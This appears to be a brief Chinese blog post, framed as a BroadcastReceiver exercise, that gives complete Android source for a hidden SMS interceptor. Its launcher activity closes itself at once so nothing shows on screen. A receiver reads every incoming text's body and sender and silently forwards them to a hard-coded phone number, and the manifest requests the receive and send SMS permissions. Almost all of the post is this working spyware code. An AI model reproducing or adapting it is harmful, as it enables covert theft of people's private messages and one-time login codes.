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短信监听器学习

还是关于broadcastreceiver的应用,比较有趣~~~·

1 定义一个activity,并删除布局文件,并写入finish()方法,使其一开始就挂掉~~~~~

package com.djf.smslistener;import android.app.Activity;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity {	@Override	protected void onCreate(Bundle savedInstanceState) {		super.onCreate(savedInstanceState);		finish();	}}

 

2 定义一个广播接收者,监听短信的到来并获取短信的内容,同时还可以将短信发给其他人~~~~

package com.djf.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class SmsBroadCastReceiver extends BroadcastReceiver {	@Override	public void onReceive(Context context, Intent intent) {		// TODO Auto-generated method stub		Object[] objects = (Object[]) intent.getExtras().get("pdus");		for (Object object : objects) {			// SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])			// object);			// String bodyString = smsMessage.getMessageBody();			// String destion = smsMessage.getOriginatingAddress();			SmsMessage smsMessage = android.telephony.SmsMessage					.createFromPdu((byte[]) object);			String bodyString = smsMessage.getMessageBody();			String destion = smsMessage.getOriginatingAddress();			SmsManager smsManager = SmsManager.getDefault();			smsManager.sendTextMessage("13707620956", null, bodyString+"````"+destion, null, null);		}	}}

 

3 注意权限的获取,很重要··············

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.djf.smslistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="9"        android:targetSdkVersion="17" />    <uses-permission android:name="android.permission.RECEIVE_SMS"/>    <uses-permission android:name="android.permission.SEND_SMS"/>    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.djf.smslistener.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <receiver android:name="com.djf.smslistener.SmsBroadCastReceiver" >            <intent-filter>                <action android:name="android.provider.Telephony.SMS_RECEIVED" />            </intent-filter>        </receiver>    </application></manifest>

 

短信监听器学习